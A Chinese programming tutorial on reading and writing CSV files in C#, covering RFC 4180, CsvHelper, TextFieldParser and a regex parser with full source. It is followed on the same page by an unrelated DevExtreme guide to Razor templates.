整合營(yíng)銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          C#中的CSV文件讀寫

          C#中的CSV文件讀寫

          目中經(jīng)常遇到CSV文件的讀寫需求,其中的難點(diǎn)主要是CSV文件的解析。本文會(huì)介紹CsvHelperTextFieldParser正則表達(dá)式三種解析CSV文件的方法,順帶也會(huì)介紹一下CSV文件的寫方法。

          CSV文件標(biāo)準(zhǔn)#

          在介紹CSV文件的讀寫方法前,我們需要了解一下CSV文件的格式。

          文件示例#

          一個(gè)簡(jiǎn)單的CSV文件:

          Test1,Test2,Test3,Test4,Test5,Test6
          str1,str2,str3,str4,str5,str6
          str1,str2,str3,str4,str5,str6
          

          一個(gè)不簡(jiǎn)單的CSV文件:

          "Test1
          "",""","Test2
          "",""","Test3
          "",""","Test4
          "",""","Test5
          "",""","Test6
          "","""
          " 中文,D23 ","3DFD4234""""""1232""1S2","ASD1"",""23,,,,213
          23F32","
          ",,asd
          " 中文,D23 ","3DFD4234""""""1232""1S2","ASD1"",""23,,,,213
          23F32","
          ",,asd
          

          你沒看錯(cuò),上面兩個(gè)都是CSV文件,都只有3行CSV數(shù)據(jù)。第二個(gè)文件多看一眼都是精神污染,但項(xiàng)目中無法避免會(huì)出現(xiàn)這種文件。

          RFC 4180#

          CSV文件沒有官方的標(biāo)準(zhǔn),但一般項(xiàng)目都會(huì)遵守 RFC 4180 標(biāo)準(zhǔn)。這是一個(gè)非官方的標(biāo)準(zhǔn),內(nèi)容如下:

          Each record is located on a separate line, delimited by a line break (CRLF).The last record in the file may or may not have an ending line break.There maybe an optional header line appearing as the first line of the file with the same format as normal record lines. This header will contain names corresponding to the fields in the file and should contain the same number of fields as the records in the rest of the file (the presence or absence of the header line should be indicated via the optional "header" parameter of this MIME type).Within the header and each record, there may be one or more fields, separated by commas. Each line should contain the same number of fields throughout the file. Spaces are considered part of a field and should not be ignored. The last field in the record must not be followed by a comma.Each field may or may not be enclosed in double quotes (however some programs, such as Microsoft Excel, do not use double quotes at all). If fields are not enclosed with double quotes, then double quotes may not appear inside the fields.Fields containing line breaks (CRLF), double quotes, and commas should be enclosed in double-quotes.If double-quotes are used to enclose fields, then a double-quote appearing inside a field must be escaped by preceding it with another double quote.

          翻譯一下:

          1. 每條記錄位于單獨(dú)的行上,由換行符 (CRLF) 分隔。
          2. 文件中的最后一條記錄可能有也可能沒有結(jié)束換行符。
          3. 可能有一個(gè)可選的標(biāo)題行出現(xiàn)在文件的第一行,格式與普通記錄行相同。此標(biāo)題將包含與文件中的字段對(duì)應(yīng)的名稱,并且應(yīng)包含與文件其余部分中的記錄相同數(shù)量的字段(標(biāo)題行的存在或不存在應(yīng)通過此 MIME 類型的可選“標(biāo)頭”參數(shù)指示)。
          4. 在標(biāo)題和每條記錄中,可能有一個(gè)或多個(gè)字段,以逗號(hào)分隔。在整個(gè)文件中,每行應(yīng)包含相同數(shù)量的字段。空格被視為字段的一部分,不應(yīng)忽略。記錄中的最后一個(gè)字段后面不能有逗號(hào)。
          5. 每個(gè)字段可以用雙引號(hào)括起來,也可以不用雙引號(hào)(但是某些程序,例如 Microsoft Excel,根本不使用雙引號(hào))。如果字段沒有用雙引號(hào)括起來,那么雙引號(hào)可能不會(huì)出現(xiàn)在字段內(nèi)。
          6. 包含換行符 (CRLF)、雙引號(hào)和逗號(hào)的字段應(yīng)該用雙引號(hào)括起來。
          7. 如果使用雙引號(hào)將字段括起來,則出現(xiàn)在字段中的雙引號(hào)必須在其前面加上另一個(gè)雙引號(hào)。

          簡(jiǎn)化標(biāo)準(zhǔn)#

          上面的標(biāo)準(zhǔn)可能比較拗口,我們對(duì)它進(jìn)行一些簡(jiǎn)化。要注意一下,簡(jiǎn)化不是簡(jiǎn)單的刪減規(guī)則,而是將類似的類似進(jìn)行合并便于理解。
          后面的代碼也會(huì)使用簡(jiǎn)化標(biāo)準(zhǔn),簡(jiǎn)化標(biāo)準(zhǔn)如下:

          1. 每條記錄位于單獨(dú)的行上,由換行符 (CRLF) 分隔。
            注:此處的行不是普通文本意義上的行,是指符合CSV文件格式的一條記錄(后面簡(jiǎn)稱為CSV行),在文本上可能占據(jù)多行。
          2. 文件中的最后一條記錄需有結(jié)束換行符,文件的第一行為標(biāo)題行(標(biāo)題行包含字段對(duì)應(yīng)的名稱,標(biāo)題數(shù)與記錄的字段數(shù)相同)。
            注:原標(biāo)準(zhǔn)中可有可無的選項(xiàng)統(tǒng)一規(guī)定為必須有,方便后期的解析,而且沒有標(biāo)題行讓別人怎么看數(shù)據(jù)。
          3. 在標(biāo)題和每條記錄中,可能有一個(gè)或多個(gè)字段,以逗號(hào)分隔。在整個(gè)文件中,每行應(yīng)包含相同數(shù)量的字段空格被視為字段的一部分,不應(yīng)忽略。記錄中的最后一個(gè)字段后面不能有逗號(hào)
            注:此標(biāo)準(zhǔn)未做簡(jiǎn)化,雖然也有其它標(biāo)準(zhǔn)使用空格、制表符等做分割的,但不使用逗號(hào)分割的文件還叫逗號(hào)分隔值文件嗎。
          4. 每個(gè)字段都用雙引號(hào)括起來,出現(xiàn)在字段中的雙引號(hào)必須在其前面加上另一個(gè)雙引號(hào)
            注:原標(biāo)準(zhǔn)有必須使用雙引號(hào)和可選雙引號(hào)的情況,那全部使用雙引號(hào)肯定不會(huì)出錯(cuò)。*

          讀寫CSV文件#

          在正式讀寫CSV文件前,我們需要先定義一個(gè)用于測(cè)試的Test類。代碼如下:

          class Test
          {
              public string Test1{get;set;}
              public string Test2 { get; set; }
              public string Test3 { get; set; }
              public string Test4 { get; set; }
              public string Test5 { get; set; }
              public string Test6 { get; set; }
          
              //Parse方法會(huì)在自定義讀寫CSV文件時(shí)用到
              public static Test Parse (string[]fields )
              {
                  try
                  {
                      Test ret=new Test();
                      ret.Test1=fields[0];
                      ret.Test2=fields[1];
                      ret.Test3=fields[2];
                      ret.Test4=fields[3];
                      ret.Test5=fields[4];
                      ret.Test6=fields[5];
                      return ret;
                  }
                  catch (Exception)
                  {
                      //做一些異常處理,寫日志之類的
                      return null;
                  }
              }
          }
          

          生成一些測(cè)試數(shù)據(jù),代碼如下:

          static void Main(string[] args)
          {
              //文件保存路徑
              string path="tset.csv";
              //清理之前的測(cè)試文件
              File.Delete("tset.csv");
                
              Test test=new Test();
              test.Test1=" 中文,D23 ";
              test.Test2="3DFD4234\"\"\"1232\"1S2";
              test.Test3="ASD1\",\"23,,,,213\r23F32";
              test.Test4="\r";
              test.Test5=string.Empty;
              test.Test6="asd";
          
              //測(cè)試數(shù)據(jù)
              var records=new List<Test> { test, test };
          
              //寫CSV文件
              /*
              *直接把后面的寫CSV文件代碼復(fù)制到此處
              */
          
              //讀CSV文件
               /*
              *直接把后面的讀CSV文件代碼復(fù)制到此處
              */
             
              Console.ReadLine();
          }
          

          使用CsvHelper#

          CsvHelper 是用于讀取和寫入 CSV 文件的庫,支持自定義類對(duì)象的讀寫。
          github上標(biāo)星最高的CSV文件讀寫C#庫,使用MS-PL、Apache 2.0開源協(xié)議。
          使用NuGet下載CsvHelper,讀寫CSV文件的代碼如下:

           //寫CSV文件
          using (var writer=new StreamWriter(path))
          using (var csv=new CsvWriter(writer, CultureInfo.InvariantCulture))
          {
              csv.WriteRecords(records);
          }
          
          using (var writer=new StreamWriter(path,true))
          using (var csv=new CsvWriter(writer, CultureInfo.InvariantCulture))
          {
              //追加
              foreach (var record in records)
              {
                  csv.WriteRecord(record);
              }
          }
          
          //讀CSV文件
          using (var reader=new StreamReader(path))
          using (var csv=new CsvReader(reader, CultureInfo.InvariantCulture))
          {
              records=csv.GetRecords<Test>().ToList();
              //逐行讀取
              //records.Add(csv.GetRecord<Test>());
          }
          

          如果你只想要拿來就能用的庫,那文章基本上到這里就結(jié)束了。

          使用自定義方法#

          為了與CsvHelper區(qū)分,新建一個(gè)CsvFile類存放自定義讀寫CSV文件的代碼,最后會(huì)提供類的完整源碼。CsvFile類定義如下:

          /// <summary>
          /// CSV文件讀寫工具類
          /// </summary>
          public class CsvFile
          {
              #region 寫CSV文件
              //具體代碼...
              #endregion
          
              #region 讀CSV文件(使用TextFieldParser)
              //具體代碼...
              #endregion
          
              #region 讀CSV文件(使用正則表達(dá)式)
              //具體代碼...
              #endregion
          
          }
          

          基于簡(jiǎn)化標(biāo)準(zhǔn)的寫CSV文件#

          根據(jù)簡(jiǎn)化標(biāo)準(zhǔn)(具體標(biāo)準(zhǔn)內(nèi)容見前文),寫CSV文件代碼如下:

          #region 寫CSV文件
          //字段數(shù)組轉(zhuǎn)為CSV記錄行
          private static string FieldsToLine(IEnumerable<string> fields)
          {
              if (fields==null) return string.Empty;
              fields=fields.Select(field=>
              {
                  if (field==null) field=string.Empty;
                  //簡(jiǎn)化標(biāo)準(zhǔn),所有字段都加雙引號(hào)
                  field=string.Format("\"{0}\"", field.Replace("\"", "\"\""));
          
                  //不簡(jiǎn)化標(biāo)準(zhǔn)
                  //field=field.Replace("\"", "\"\"");
                  //if (field.IndexOfAny(new char[] { ',', '"', ' ', '\r' }) !=-1)
                  //{
                  //    field=string.Format("\"{0}\"", field);
                  //}
                  return field;
              });
              string line=string.Format("{0}{1}", string.Join(",", fields), Environment.NewLine);
              return line;
          }
          
          //默認(rèn)的字段轉(zhuǎn)換方法
          private static IEnumerable<string> GetObjFields<T>(T obj, bool isTitle) where T : class
          {
              IEnumerable<string> fields;
              if (isTitle)
              {
                  fields=obj.GetType().GetProperties().Select(pro=> pro.Name);
              }
              else
              {
                  fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
              }
              return fields;
          }
          
          /// <summary>
          /// 寫CSV文件,默認(rèn)第一行為標(biāo)題
          /// </summary>
          /// <typeparam name="T"></typeparam>
          /// <param name="list">數(shù)據(jù)列表</param>
          /// <param name="path">文件路徑</param>
          /// <param name="append">追加記錄</param>
          /// <param name="func">字段轉(zhuǎn)換方法</param>
          /// <param name="defaultEncoding"></param>
          public static void Write<T>(List<T> list, string path,bool append=true, Func<T, bool, IEnumerable<string>> func=null, Encoding defaultEncoding=null) where T : class
          {
              if (list==null || list.Count==0) return;
              if (defaultEncoding==null)
              {
                  defaultEncoding=Encoding.UTF8;
              }
              if (func==null)
              {
                  func=GetObjFields;
              }
              if (!File.Exists(path)|| !append)
              {
                  var fields=func(list[0], true);
                  string title=FieldsToLine(fields);
                  File.WriteAllText(path, title, defaultEncoding);
              }
              using (StreamWriter sw=new StreamWriter(path, true, defaultEncoding))
              {
                  list.ForEach(obj=>
                  {
                      var fields=func(obj, false);
                      string line=FieldsToLine(fields);
                      sw.Write(line);
                  });
              }
          }
          #endregion
          

          使用時(shí),代碼如下:

          //寫CSV文件
          //使用自定義的字段轉(zhuǎn)換方法,也是文章開頭復(fù)雜CSV文件使用字段轉(zhuǎn)換方法
          CsvFile.Write(records, path, true, new Func<Test, bool, IEnumerable<string>>((obj, isTitle)=>
          {
              IEnumerable<string> fields;
              if (isTitle)
              {
                  fields=obj.GetType().GetProperties().Select(pro=> pro.Name + Environment.NewLine + "\",\"");
              }
              else
              {
                  fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
              }
              return fields;
          }));
          
          //使用默認(rèn)的字段轉(zhuǎn)換方法
          //CsvFile.Write(records, path);
          

          你也可以使用默認(rèn)的字段轉(zhuǎn)換方法,代碼如下:

          CsvFile.Save(records, path);
          

          使用TextFieldParser解析CSV文件#

          TextFieldParser是VB中解析CSV文件的類,C#雖然沒有類似功能的類,不過可以調(diào)用VB的TextFieldParser來實(shí)現(xiàn)功能。
          TextFieldParser解析CSV文件的代碼如下:

          #region 讀CSV文件(使用TextFieldParser)
          /// <summary>
          /// 讀CSV文件,默認(rèn)第一行為標(biāo)題
          /// </summary>
          /// <typeparam name="T"></typeparam>
          /// <param name="path">文件路徑</param>
          /// <param name="func">字段解析規(guī)則</param>
          /// <param name="defaultEncoding">文件編碼</param>
          /// <returns></returns>
          public static List<T> Read<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
          {
              if (defaultEncoding==null)
              {
                  defaultEncoding=Encoding.UTF8;
              }
              List<T> list=new List<T>();
              using (TextFieldParser parser=new TextFieldParser(path, defaultEncoding))
              {
                  parser.TextFieldType=FieldType.Delimited;
                  //設(shè)定逗號(hào)分隔符
                  parser.SetDelimiters(",");
                  //設(shè)定不忽略字段前后的空格
                  parser.TrimWhiteSpace=false;
                  bool isLine=false;
                  while (!parser.EndOfData)
                  {
                      string[] fields=parser.ReadFields();
                      if (isLine)
                      {
                          var obj=func(fields);
                          if (obj !=null) list.Add(obj);
                      }
                      else
                      {
                          //忽略標(biāo)題行業(yè)
                          isLine=true;
                      }
                  }
              }
              return list;
          }
          #endregion
          

          使用時(shí),代碼如下:

          //讀CSV文件
          records=CsvFile.Read(path, Test.Parse);
          

          使用正則表達(dá)式解析CSV文件#

          如果你有一個(gè)問題,想用正則表達(dá)式來解決,那么你就有兩個(gè)問題了。

          正則表達(dá)式有一定的學(xué)習(xí)門檻,而且學(xué)習(xí)后不經(jīng)常使用就會(huì)忘記。正則表達(dá)式解決的大多數(shù)是一些不易變更需求的問題,這就導(dǎo)致一個(gè)穩(wěn)定可用的正則表達(dá)式可以傳好幾代。
          本節(jié)的正則表達(dá)式來自
          《精通正則表達(dá)式(第3版)》 第6章 打造高效正則表達(dá)式——簡(jiǎn)單的消除循環(huán)的例子,有興趣的可以去了解一下,表達(dá)式說明如下:


          注:這本書最終版的解析CSV文件的正則表達(dá)式是Jave版的使用占有優(yōu)先量詞取代固化分組的版本,也是百度上經(jīng)常見到的版本。不過占有優(yōu)先量詞在C#中有點(diǎn)問題,本人能力有限解決不了,所以使用了上圖的版本。不過,這兩版正則表達(dá)式性能上沒有差異。

          正則表達(dá)式解析CSV文件代碼如下:

          #region 讀CSV文件(使用正則表達(dá)式)
          /// <summary>
          /// 讀CSV文件,默認(rèn)第一行為標(biāo)題
          /// </summary>
          /// <typeparam name="T"></typeparam>
          /// <param name="path">文件路徑</param>
          /// <param name="func">字段解析規(guī)則</param>
          /// <param name="defaultEncoding">文件編碼</param>
          /// <returns></returns>
          public static List<T> Read_Regex<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
          {
              List<T> list=new List<T>();
              StringBuilder sbr=new StringBuilder(100);
              Regex lineReg=new Regex("\"");
              Regex fieldReg=new Regex("\\G(?:^|,)(?:\"((?>[^\"]*)(?>\"\"[^\"]*)*)\"|([^\",]*))");
              Regex quotesReg=new Regex("\"\"");
          
              bool isLine=false;
              string line=string.Empty;
              using (StreamReader sr=new StreamReader(path))
              {
                  while (null !=(line=ReadLine(sr)))
                  {
                      sbr.Append(line);
                      string str=sbr.ToString();
                      //一個(gè)完整的CSV記錄行,它的雙引號(hào)一定是偶數(shù)
                      if (lineReg.Matches(sbr.ToString()).Count % 2==0)
                      {
                          if (isLine)
                          {
                              var fields=ParseCsvLine(sbr.ToString(), fieldReg, quotesReg).ToArray();
                              var obj=func(fields.ToArray());
                              if (obj !=null) list.Add(obj);
                          }
                          else
                          {
                              //忽略標(biāo)題行業(yè)
                              isLine=true;
                          }
                          sbr.Clear();
                      }
                      else
                      {
                          sbr.Append(Environment.NewLine);
                      }                   
                  }
              }
              if (sbr.Length > 0)
              {
                  //有解析失敗的字符串,報(bào)錯(cuò)或忽略
              }
              return list;
          }
          
          //重寫ReadLine方法,只有\(zhòng)r\n才是正確的一行
          private static string ReadLine(StreamReader sr) 
          {
              StringBuilder sbr=new StringBuilder();
              char c;
              int cInt;
              while (-1 !=(cInt=sr.Read()))
              {
                  c=(char)cInt;
                  if (c=='\n' && sbr.Length > 0 && sbr[sbr.Length - 1]=='\r')
                  {
                      sbr.Remove(sbr.Length - 1, 1);
                      return sbr.ToString();
                  }
                  else 
                  {
                      sbr.Append(c);
                  }
              }
              return sbr.Length>0?sbr.ToString():null;
          }
          
          private static List<string> ParseCsvLine(string line, Regex fieldReg, Regex quotesReg)
          {
              var fieldMath=fieldReg.Match(line);
              List<string> fields=new List<string>();
              while (fieldMath.Success)
              {
                  string field;
                  if (fieldMath.Groups[1].Success)
                  {
                      field=quotesReg.Replace(fieldMath.Groups[1].Value, "\"");
                  }
                  else
                  {
                      field=fieldMath.Groups[2].Value;
                  }
                  fields.Add(field);
                  fieldMath=fieldMath.NextMatch();
              }
              return fields;
          }
          #endregion
          

          使用時(shí)代碼如下:

          //讀CSV文件
          records=CsvFile.Read_Regex(path, Test.Parse);
          

          目前還未發(fā)現(xiàn)正則表達(dá)式解析有什么bug,不過還是不建議使用。

          完整的CsvFile工具類#

          完整的CsvFile類代碼如下:

          using Microsoft.VisualBasic.FileIO;
          using System;
          using System.Collections.Generic;
          using System.IO;
          using System.Linq;
          using System.Text;
          using System.Text.RegularExpressions;
          
          
          namespace ConsoleApp4
          {
              /// <summary>
              /// CSV文件讀寫工具類
              /// </summary>
              public class CsvFile
              {
                  #region 寫CSV文件
                  //字段數(shù)組轉(zhuǎn)為CSV記錄行
                  private static string FieldsToLine(IEnumerable<string> fields)
                  {
                      if (fields==null) return string.Empty;
                      fields=fields.Select(field=>
                      {
                          if (field==null) field=string.Empty;
                          //所有字段都加雙引號(hào)
                          field=string.Format("\"{0}\"", field.Replace("\"", "\"\""));
          
                          //不簡(jiǎn)化
                          //field=field.Replace("\"", "\"\"");
                          //if (field.IndexOfAny(new char[] { ',', '"', ' ', '\r' }) !=-1)
                          //{
                          //    field=string.Format("\"{0}\"", field);
                          //}
                          return field;
                      });
                      string line=string.Format("{0}{1}", string.Join(",", fields), Environment.NewLine);
                      return line;
                  }
          
                  //默認(rèn)的字段轉(zhuǎn)換方法
                  private static IEnumerable<string> GetObjFields<T>(T obj, bool isTitle) where T : class
                  {
                      IEnumerable<string> fields;
                      if (isTitle)
                      {
                          fields=obj.GetType().GetProperties().Select(pro=> pro.Name);
                      }
                      else
                      {
                          fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
                      }
                      return fields;
                  }
          
                  /// <summary>
                  /// 寫CSV文件,默認(rèn)第一行為標(biāo)題
                  /// </summary>
                  /// <typeparam name="T"></typeparam>
                  /// <param name="list">數(shù)據(jù)列表</param>
                  /// <param name="path">文件路徑</param>
                  /// <param name="append">追加記錄</param>
                  /// <param name="func">字段轉(zhuǎn)換方法</param>
                  /// <param name="defaultEncoding"></param>
                  public static void Write<T>(List<T> list, string path,bool append=true, Func<T, bool, IEnumerable<string>> func=null, Encoding defaultEncoding=null) where T : class
                  {
                      if (list==null || list.Count==0) return;
                      if (defaultEncoding==null)
                      {
                          defaultEncoding=Encoding.UTF8;
                      }
                      if (func==null)
                      {
                          func=GetObjFields;
                      }
                      if (!File.Exists(path)|| !append)
                      {
                          var fields=func(list[0], true);
                          string title=FieldsToLine(fields);
                          File.WriteAllText(path, title, defaultEncoding);
                      }
                      using (StreamWriter sw=new StreamWriter(path, true, defaultEncoding))
                      {
                          list.ForEach(obj=>
                          {
                              var fields=func(obj, false);
                              string line=FieldsToLine(fields);
                              sw.Write(line);
                          });
                      }
                  }
                  #endregion
          
                  #region 讀CSV文件(使用TextFieldParser)
                  /// <summary>
                  /// 讀CSV文件,默認(rèn)第一行為標(biāo)題
                  /// </summary>
                  /// <typeparam name="T"></typeparam>
                  /// <param name="path">文件路徑</param>
                  /// <param name="func">字段解析規(guī)則</param>
                  /// <param name="defaultEncoding">文件編碼</param>
                  /// <returns></returns>
                  public static List<T> Read<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
                  {
                      if (defaultEncoding==null)
                      {
                          defaultEncoding=Encoding.UTF8;
                      }
                      List<T> list=new List<T>();
                      using (TextFieldParser parser=new TextFieldParser(path, defaultEncoding))
                      {
                          parser.TextFieldType=FieldType.Delimited;
                          //設(shè)定逗號(hào)分隔符
                          parser.SetDelimiters(",");
                          //設(shè)定不忽略字段前后的空格
                          parser.TrimWhiteSpace=false;
                          bool isLine=false;
                          while (!parser.EndOfData)
                          {
                              string[] fields=parser.ReadFields();
                              if (isLine)
                              {
                                  var obj=func(fields);
                                  if (obj !=null) list.Add(obj);
                              }
                              else
                              {
                                  //忽略標(biāo)題行業(yè)
                                  isLine=true;
                              }
                          }
                      }
                      return list;
                  }
                  #endregion
          
                  #region 讀CSV文件(使用正則表達(dá)式)
                  /// <summary>
                  /// 讀CSV文件,默認(rèn)第一行為標(biāo)題
                  /// </summary>
                  /// <typeparam name="T"></typeparam>
                  /// <param name="path">文件路徑</param>
                  /// <param name="func">字段解析規(guī)則</param>
                  /// <param name="defaultEncoding">文件編碼</param>
                  /// <returns></returns>
                  public static List<T> Read_Regex<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
                  {
                      List<T> list=new List<T>();
                      StringBuilder sbr=new StringBuilder(100);
                      Regex lineReg=new Regex("\"");
                      Regex fieldReg=new Regex("\\G(?:^|,)(?:\"((?>[^\"]*)(?>\"\"[^\"]*)*)\"|([^\",]*))");
                      Regex quotesReg=new Regex("\"\"");
          
                      bool isLine=false;
                      string line=string.Empty;
                      using (StreamReader sr=new StreamReader(path))
                      {
                          while (null !=(line=ReadLine(sr)))
                          {
                              sbr.Append(line);
                              string str=sbr.ToString();
                              //一個(gè)完整的CSV記錄行,它的雙引號(hào)一定是偶數(shù)
                              if (lineReg.Matches(sbr.ToString()).Count % 2==0)
                              {
                                  if (isLine)
                                  {
                                      var fields=ParseCsvLine(sbr.ToString(), fieldReg, quotesReg).ToArray();
                                      var obj=func(fields.ToArray());
                                      if (obj !=null) list.Add(obj);
                                  }
                                  else
                                  {
                                      //忽略標(biāo)題行業(yè)
                                      isLine=true;
                                  }
                                  sbr.Clear();
                              }
                              else
                              {
                                  sbr.Append(Environment.NewLine);
                              }                   
                          }
                      }
                      if (sbr.Length > 0)
                      {
                          //有解析失敗的字符串,報(bào)錯(cuò)或忽略
                      }
                      return list;
                  }
          
                  //重寫ReadLine方法,只有\(zhòng)r\n才是正確的一行
                  private static string ReadLine(StreamReader sr) 
                  {
                      StringBuilder sbr=new StringBuilder();
                      char c;
                      int cInt;
                      while (-1 !=(cInt=sr.Read()))
                      {
                          c=(char)cInt;
                          if (c=='\n' && sbr.Length > 0 && sbr[sbr.Length - 1]=='\r')
                          {
                              sbr.Remove(sbr.Length - 1, 1);
                              return sbr.ToString();
                          }
                          else 
                          {
                              sbr.Append(c);
                          }
                      }
                      return sbr.Length>0?sbr.ToString():null;
                  }
                 
                  private static List<string> ParseCsvLine(string line, Regex fieldReg, Regex quotesReg)
                  {
                      var fieldMath=fieldReg.Match(line);
                      List<string> fields=new List<string>();
                      while (fieldMath.Success)
                      {
                          string field;
                          if (fieldMath.Groups[1].Success)
                          {
                              field=quotesReg.Replace(fieldMath.Groups[1].Value, "\"");
                          }
                          else
                          {
                              field=fieldMath.Groups[2].Value;
                          }
                          fields.Add(field);
                          fieldMath=fieldMath.NextMatch();
                      }
                      return fields;
                  }
                  #endregion
          
              }
          }
          
          

          使用方法如下:

          //寫CSV文件
          CsvFile.Write(records, path, true, new Func<Test, bool, IEnumerable<string>>((obj, isTitle)=>
          {
              IEnumerable<string> fields;
              if (isTitle)
              {
                  fields=obj.GetType().GetProperties().Select(pro=> pro.Name + Environment.NewLine + "\",\"");
              }
              else
              {
                  fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
              }
              return fields;
          }));
          
          //讀CSV文件
          records=CsvFile.Read(path, Test.Parse);
          
          //讀CSV文件
          records=CsvFile.Read_Regex(path, Test.Parse);
          

          總結(jié)#

          • 介紹了CSV文件的 RFC 4180 標(biāo)準(zhǔn)及其簡(jiǎn)化理解版本
          • 介紹了CsvHelperTextFieldParser正則表達(dá)式三種解析CSV文件的方法
          • 項(xiàng)目中推薦使用CsvHelper,如果不想引入太多開源組件可以使用TextFieldParser,不建議使用正則表達(dá)式

          文章來自https://www.cnblogs.com/timefiles/p/CsvReadWrite.html

          系列文章將為大家介紹如何實(shí)現(xiàn)和應(yīng)用模板,模板允許您自定義控件部分(標(biāo)題、單元格、項(xiàng)目等)的呈現(xiàn)方式。

          DevExtreme Complete Subscription官方最新版免費(fèi)下載試用,歷史版本下載,在線文檔和幫助文件下載-慧都網(wǎng)

          使用 *Template() 方法定義模板,例如:

          • DataGridColumnBuilder.CellTemplate - 為DataGrid控件中的列單元格指定模板。
          • ListBuilder.ItemTemplate - 為 List 控件中的項(xiàng)目指定模板。
          • PopupBuilder.ContentTemplate - 為 Popup 控件的內(nèi)容指定模板。

          模板語法

          模板由 Razor 標(biāo)記和可以使用參數(shù)的 ERB 樣式構(gòu)造 (<% %>) 組成,要定義模板,請(qǐng)?jiān)诳丶?*Template(RazorBlock templateContent) 方法中使用 @<text>? 塊。

          注意:Razor VB:當(dāng)您使用 @<text> 塊時(shí):

          • 用@Code/End Code 附上控件配置;
          • 使用 Render() 結(jié)束控件配置。

          Razor C#

          @(Html.DevExtreme().List()
          .DataSource(DataSource)
          .ItemTemplate(@<text>
          <div><%- Name %></div>
          </text>)
          )

          Razor VB

          @Code
          Html.DevExtreme().List() _
          .DataSource(DataSource) _
          .ItemTemplate(Sub()
          @<text>
          <div><%- Name %></div>
          </text>
          End Sub) _
          .Render()
          End Code

          List 控件綁定到以下數(shù)據(jù)源:

          C#

          object[] DataSource=new[] {
          new { Name="John" },
          new { Name="Jane" }
          };

          VB

          Dim DataSource={
          New With {.Name="John"},
          New With {.name="Jane"}
          }

          您還可以在模板中使用 @Html,例如嵌套控件或訪問標(biāo)準(zhǔn) HTML 幫助程序。

          如果模板很短且不使用 Razor 構(gòu)造(以 @ 開頭),則可以使用帶有 String 參數(shù)的 *Template 方法的速記重載:

          Razor C#

          @(Html.DevExtreme().List()
          .DataSource(DataSource)
          .ItemTemplate("<div><%- Name %></div>")
          )

          Razor VB

          @(Html.DevExtreme().List() _
          .DataSource(DataSource) _
          .ItemTemplate("<div><%- Name %></div>")
          )

          外部模板

          您可以在控件聲明之外定義模板,這在以下情況下很有用:

          • 模板很大;
          • 想重用一個(gè)模板;
          • 需要嵌套模板(下面的代碼演示了如何將 List 控件嵌套在 Popup 控件中)。

          Razor C#

          @(Html.DevExtreme().Popup()
          .ID("myPopup")
          .ContentTemplate(@<text>
          @Html.Partial("_MyPopupContentTemplate")
          </text>)
          )

          Razor VB

          @Code
          Html.DevExtreme().Popup() _
          .ID("myPopup") _
          .ContentTemplate(Sub()
          @<text>
          @Html.Partial("_MyPopupContentTemplate")
          </text>
          End Sub) _
          .Render()
          End Code

          Shared/_MyPopupContentTemplate.cshtml

          @(Html.DevExtreme().List()
          .DataSource(ListDataSource)
          .ItemTemplate(@<text>
          <div><%- Name %></div>
          </text>)
          )

          Shared/_MyPopupContentTemplate.vbhtml

          @Code
          Html.DevExtreme().List() _
          .DataSource(ListDataSource) _
          .ItemTemplate(Sub()
          @<text>
          <div><%- Name %></div>
          </text>
          End Sub) _
          .Render()
          End Code

          使用命名模板。

          1. 在 using(Html.DevExtreme().NamedTemplate(...)) 塊中定義模板。
          2. 在 *Template(TemplateName name) 方法中指定模板名稱。

          Razor C#

          @(Html.DevExtreme().Popup()
          .ID("myPopup")
          .ContentTemplate(new TemplateName("myPopupContentTemplate"))
          )
          
          @using (Html.DevExtreme().NamedTemplate("myPopupContentTemplate")) {
          @(Html.DevExtreme().List()
          .DataSource(ListDataSource)
          .ItemTemplate(@<text>
          <div><%- Name %></div>
          </text>)
          )
          }

          Razor VB

          @Code
          Html.DevExtreme().Popup() _
          .ID("myPopup") _
          .ContentTemplate(New TemplateName("myPopupContentTemplate")) _
          .Render()
          End Code
          
          @Using (Html.DevExtreme().NamedTemplate("myPopupContentTemplate"))
          @Code
          Html.DevExtreme().List() _
          .DataSource(ListDataSource) _
          .ItemTemplate(Sub()
          @<text>
          <%- Name %>
          </text>
          End Sub) _
          .Render()
          End Code
          End Using

          可以在聲明控件或布局的同一 Razor 文件中聲明命名模板。

          注意:

          • 模板名稱在整個(gè)應(yīng)用程序中應(yīng)該是唯一的。
          • 命名模板應(yīng)該在頂層定義,它們不能在另一個(gè)模板中聲明。

          使用 Razor @helper 指令將模板標(biāo)記提取到函數(shù)中。

          Razor C#

          @(Html.DevExtreme().Popup()
          .ID("myPopup")
          .ContentTemplate(@<text>
          @MyPopup_List()
          </text>)
          )
          
          @helper MyPopup_List()
          {
          @(Html.DevExtreme().List()
          .ItemTemplate(@<text>
          @MyPopup_List_Item()
          </text>)
          )
          }
          
          @helper MyPopup_List_Item()
          {
          <text>
          <div><%- Name %></div>
          </text>
          }

          Razor VB

          @Code
          Html.DevExtreme().Popup() _
          .ID("myPopup") _
          .ContentTemplate(Sub() Write(MyPopup_List())) _
          .Render()
          End Code
          
          @helper MyPopup_List()
          @(Html.DevExtreme().List() _
          .ItemTemplate(Sub() Write(MyPopup_List_Item()))
          )
          End Helper
          
          @helper MyPopup_List_Item()
          @<text>
          <div><%- Name %></div>
          </text>
          End Helper

          DevExtreme

          DevExtreme擁有高性能的HTML5 / JavaScript小部件集合,使您可以利用現(xiàn)代Web開發(fā)堆棧(包括React,Angular,ASP.NET Core,jQuery,Knockout等)構(gòu)建交互式的Web應(yīng)用程序。從Angular和Reac,到ASP.NET Core或Vue,DevExtreme包含全面的高性能和響應(yīng)式UI小部件集合,可在傳統(tǒng)Web和下一代移動(dòng)應(yīng)用程序中使用。 該套件附帶功能齊全的數(shù)據(jù)網(wǎng)格、交互式圖表小部件、數(shù)據(jù)編輯器等。

